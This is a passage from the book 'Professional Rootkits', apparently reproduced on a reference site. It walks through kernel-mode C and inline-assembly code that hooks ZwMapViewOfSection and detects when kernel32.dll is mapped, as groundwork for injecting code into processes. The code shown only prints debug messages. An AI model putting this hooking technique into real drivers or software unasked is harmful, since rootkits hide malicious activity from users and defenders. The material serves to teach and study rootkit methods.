Finding a Specific Dynamic Link Library


To find a specific library loaded by ZwMapViewOfSection, you need to modify NewZwMapViewOf Section and add a new utility function, IsSameFile. Rather than complete the entire project and describe everything all at once, this chapter will add small pieces and explain each piece along the way. Here are the initial modifications to hookManager.c:

  BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString) {  USHORT index;  USHORT longLen;  USHORT shortLen;  USHORT count;  // Check input  if( !shortString ||   shortString->Length == 0 ||   !longString ||   longString->Length == 0 ||   (shortString->Length > longString->Length))   return FALSE;  index = longString->Length / 2; // wchar_t len is len / 2  // search backwards for backslash  while( --index )   if ( longString->Buffer[index] == L'\\' )    break;  // check for same length first  longLen = (longString->Length / 2) - index - 1;  shortLen = shortString->Length / 2;  if( shortLen != longLen )   return FALSE;  // Compare  count = 0;  while ( count < longLen )   if ( longString->Buffer[++index] != shortString->Buffer[count++] )    return FALSE;  // Match!  return TRUE; } 

IsSameFile is used to compare a full path name to a specific filename. If the filename, after the last backslash of the full path name, matches the specific filename, this function returns true. Yes, this would be much easier if it weren’t a kernel mode function. And yes, you will need to write a lot of your own functions when working in kernel mode. There are many user mode class libraries and frameworks to assist in every conceivable programming task but kernel-level support is not as readily available, so expect to write most of your utilities from scratch.

  NTSTATUS NewZwMapViewOfSection(  IN HANDLE SectionHandle,  IN HANDLE ProcessHandle,  IN OUT PVOID *BaseAddress,  IN ULONG ZeroBits,  IN ULONG CommitSize,  IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,  IN OUT PSIZE_T ViewSize,  IN SECTION_INHERIT InheritDisposition,  IN ULONG AllocationType,  IN ULONG Protect ) {  NTSTATUS status;  // First complete the standard mapping process  status = OldZwMapViewOfSection(SectionHandle,   ProcessHandle,   BaseAddress,   ZeroBits,   CommitSize,   SectionOffset OPTIONAL,   ViewSize,   InheritDisposition,   AllocationType,   Protect );  // Now remap as required ( imageOffset only known for versions 4 & 5 )  if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )  {   unsigned int imageOffset = 0;   VOID* pSection = NULL;   unsigned int imageSection = FALSE;   HANDLE hRoot = NULL;   PUNICODE_STRING objectName = NULL;   PVOID pImageBase = NULL;   UNICODE_STRING library1 = { 0 };  // Image location higher in version 4  if( majorVersion == 4 )   imageOffset = 24;  if( ObReferenceObjectByHandle( SectionHandle,   SECTION_MAP_EXECUTE,   *MmSectionObjectType,   KernelMode,   &pSection,   NULL ) == STATUS_SUCCESS )   {     // Check to see if this is an image section     // If it is, get the root handle and the object name    _asm    {     mov     edx, pSection     mov     eax, [edx+14h]     add     eax, imageOffset     mov     edx, [eax]     test    byte ptr [edx+20h], 20h     jz      not_image_section     mov     imageSection, TRUE     mov     eax, [edx+24h]     mov     edx, [eax+4]     mov     hRoot, edx     add     eax, 30h     mov     objectName, eax     not_image_section:    }    if( BaseAddress )     pImageBase = *BaseAddress;    // Mapping a DLL    if( imageSection && pImageBase && objectName && objectName->Length > 0 )    {     RtlInitUnicodeString( &library1, L"kernel32.dll" );     if ( IsSameFile( &library1, objectName ) )      DbgPrint( "comint32: NewZwMapViewOfSection found KERNEL32!" );     else      DbgPrint( "comint32: NewZwMapViewOfSection object = %wZ", objectName );   }   }   ObDereferenceObject( pSection );  }  return status; } 

The first task of the new NewZwMapViewOfSection function is to call the old function. This is because the reference DLL must be loaded into process memory before additional functions can be injected.

After the DLL has been loaded, you must test for success. In addition to success, a version check is made. This check is only possible because of the version checking already added to DriverEntry (if you were wondering why I made majorVersion and minorVersion global).

The reason for the version check stems from a difference in the location of the image between major versions 4 and 5. Once the image location has been determined, a check is made to determine whether the section being mapped is actually an image. Processing only continues if the mapped section is an image, with a valid base address and a valid name.

At this point, a test for the DLL of interest can be made using the new utility function, IsSameFile. For now, a simple debug statement is printed if it is the target DLL. Notice the use of %wZ in the format string for the second DbgPrint. This is the specifier for a Unicode string. Kernel mode rootkit development involves extensive use of Unicode strings; knowing how to print them can come in handy. You may also need to use %C and %S for (wchar_t) wide-characters and wide-strings, respectively.

If you want to compile and install the rootkit at this point (Chapter 4AGhost), you should see a debug statement for every DLL loaded by every application started, and a special statement when kernel32.dll is loaded. Most applications use kernel32.dll, so you shouldn’t have difficulty finding one.




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net